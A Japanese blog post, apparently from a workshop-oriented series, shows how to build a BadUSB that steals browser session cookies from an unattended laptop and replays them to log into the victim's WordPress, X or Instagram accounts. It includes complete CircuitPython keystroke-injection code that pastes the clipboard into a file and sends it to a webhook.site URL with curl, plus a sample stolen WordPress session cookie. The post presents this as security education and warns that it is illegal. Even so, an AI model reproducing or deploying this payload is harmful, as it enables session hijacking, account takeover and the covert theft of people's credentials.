現在、イベントの予定はありません ( ˘ω˘ )
Raspberry Pi / Arduino

New!! BadUSBを作ってハッキングする(④不正ログイン編)

AI要約

BadUSBハッキングシリーズ第4弾。離席中の僅かな隙を狙い、標的PCからログイン済みの証明であるCookie(セッションID)を奪取。ID・パスワードなしでWebサイトへ不正ログインする脅威を検証します。

はじめに

「BadUSBを作ってハッキングする」シリーズ。前回はターゲットPCに簡易的なランサムウェアを仕込みました。

第4回は、ターゲットが利用しているWebサイトにハッカーが不正ログインします。以下、WordPress製のサイトを対象にしますが、Twitter(新X)、Instagramもログインできます。実際にやるとそのまんま「不正アクセス禁止法」に引っかかりますのでご注意ください。

シナリオ

シナリオは、ターゲットがカフェでノートPCを操作し、トイレのために離席するシーン。

ハッカーはわずかな時間で、ターゲットが利用するこのWebサイトのログイン権限を盗みます。下の画像は未ログイン状態です。

ターゲットのIDとパスワードを盗むのではなく、ログイン済みであることを証明する通行手形「セッションID」を盗んで、ハッカーのPCでもログイン済みの状態を再現します。

セッションIDを盗んで不正ログインする手順

まず、ターゲットPCではWebサイトにログイン済みとします。こちらがその画面。

ハッカーがさりげなくターゲットの席に着くと、F12(デベロッパーツール) → アプリケーション → Cookie でこのサイトのCookieを表示し、ctrl+A で全てコピーします。

BadUSBを挿して、クリップボードにコピーしてある内容を数秒でハッカーのサーバーに送ります。ハッカーは画面を元に戻して立ち去ります。

ここでターゲットが席に戻りますが、何かされたことに気が付きません (^^;

ハッカーのPCで対象のサイトにアクセスします。当然、このように未ログインの状態です。

EditThisCookieなどの拡張機能を使って、このサイトのCookieにセッションIDを追加します。

ページをリロードすると、ログインされた状態になりました!

これでターゲットになりすまして閲覧できます。

なお、ターゲットがサイトからログアウトするとセッションIDが無効になり、ハッカーもサイトから閉め出されます。ハッカーはその前に”仕事”を終えるか、もしくは個人ブログなんかであれば、管理画面に行って自分を管理ユーザーに登録して永続的なログイン権を得ることもできるでしょう。

hacking.py

それでは、BadUSB内のコードを見ていきます。今回は「挿すだけでログイン情報が取れる」とまではいかず、クリップボードの内容を素早くハッカーのサーバーに送るだけです。

今回もウェブフックサービスを借ります。「Webhook.site」を開き、一時的に発行されたURLを取得します。

Webhook.site
Webhook.site takes away the frustration of building software and automations that communicate via we...
import time
import usb_hid
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_jp import KeyboardLayoutJP

print("自動実行の準備をします...")

# キーボードとして認識されるまで少し待つ
time.sleep(1)

# キーボードの初期化
keyboard = Keyboard(usb_hid.devices)

# キーボードレイアウトの初期化
layout = KeyboardLayoutJP(keyboard)

print("処理を開始します...")

#  Windowsキー + R で「ファイル名を指定して実行」
keyboard.send(Keycode.GUI, Keycode.R)
time.sleep(0.5) # ウインドウが開くときは少し待機

# コマンドプロンプト(cmd)を開く
layout.write("cmd")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機

# 「chcp 65001」でUTF-8に切り替え
layout.write("chcp 65001")
keyboard.send(Keycode.ENTER)

# ターゲットのデスクトップに移動
# %USERPROFILE% = C:\Users\(USERNAME) の意味
layout.write("cd %USERPROFILE%\Desktop")
keyboard.send(Keycode.ENTER)

# 空のtmp.txtを作っておく
layout.write("echo. > tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # 保存のため少し待機

# tmp.txtを開く
layout.write("notepad tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機

# クリップボードの中身を貼り付け
keyboard.send(Keycode.CONTROL, Keycode.V)
time.sleep(0.5) # 貼り付け完了を待つ

# 上書き保存して閉じる。Ctrl+S(保存)➔ Alt+F4(閉じる)
keyboard.send(Keycode.CONTROL, Keycode.S)
time.sleep(0.5)
keyboard.send(Keycode.ALT, Keycode.F4)
time.sleep(0.5) # メモ帳が閉じてcmdにフォーカスが戻るのを待つ

# curlコマンドでtmp.txtの中身をウェブフックサービスに送る
layout.write("curl -d @tmp.txt https://webhook.site/8e090585-d224-4edb-9a77-a7f3e755b7c8")
keyboard.send(Keycode.ENTER)

# 不要になったtmp.txtを削除
layout.write("del tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # 削除のため少し待機

# 「exit」と入力してcmdを閉じる
layout.write("exit")
keyboard.send(Keycode.ENTER)

print("処理が完了しました")

実行すると、コマンドプロンプトが開いてババババーっとなります。

サーバー側を見ると、ターゲットが持っていたCookieを受け取っています。

この中からログインのセッションIDを探すと、ありました。

名前
wordpress_logged_in_ff2ab7242ca6c4432a4af483b08225e7
値
yasuda%7C1783365379%7COOJkVStqdjFPYCKVe8rnwpBJNG70F5i66pxytmU3YXT%7C0a301117789a3073fa59ab22e499a99a0b45e8093e33051ee449496281ae5bf2

この方法でWordPressのサイトだけでなく、Twitter(新X)、Instagramもログインできました(え!

おわりに

BadUSBシリーズは、ここで一旦終わりにしたいと思います。

中高生向けワークショップではこのリアルなハッキング体験を通して、セキュリティや技術の二面性を学んでもらいたいと思います。

リアクションのお願い

「参考になった!」「刺激された!」と思ったらぜひリアクションをしましょう。エンジニアの世界はGive and Takeによって成り立っています。これからも無料で良質な情報にアクセスできるよう、Giveする人への感謝をリアクションで示しましょう!

この記事をシェアする

自身のブログ等で使用する場合は引用を忘れずに!

また、寄付も受け付けています。コーヒー1杯でとても喜びます(*˘︶˘*)

 Amazonでギフト券(アマギフ)を贈る

こちらのリンク から金額を指定してお贈りください。(デフォルトで10000円になっているのでご変更ください)

配送:Eメール
受取人:staffあっとvigne-cla.com
贈り主:あなたのお名前やニックネーム
メッセージ:◯◯の記事が参考になりました。など

のようにご入力ください。見返りはありませんのでご了承ください。

 Amazonで食事券(すかいらーく優待券)を贈る

500円 1000円 2000円 5000円 からお贈りください。

配送:Eメール
受取人:staffあっとvigne-cla.com
贈り主:あなたのお名前やニックネーム
メッセージ:◯◯の記事が参考になりました。など

のようにご入力ください。見返りはありませんのでご了承ください。

 その他、ギフト券やクーポン券をメールで贈る

デジタルのギフト券/クーポン券はメールアドレス(staffあっとvigne-cla.com)までお送りください。受領の返信をいたします。
紙のギフト券/クーポン券は 「郵便物はこちらへ」の住所 まで送付してください。名刺やメールアドレスを同封していただければ受領の連絡をいたします。
余った株主優待券等の処理におすすめです。
いずれも見返りはありませんのでご了承ください。

不明点はSNSでお気軽にご連絡ください

ビネクラのTwitter・Youtubeでコメントをください!


Slack・Discordの場合はこちらの公開グループに参加してShoya YasudaまでDMをください!


※当ブログに関することは何でもご相談・ご依頼可能です。

この記事を書いた人
Yasuda

博士(理学)。専門は免疫細胞、数理モデル、シミュレーション。米国、中国で研究に携わった。遺伝的アルゴリズム信者。物価上昇のため半額弁当とともに絶滅寸前。

タイトルとURLをコピーしました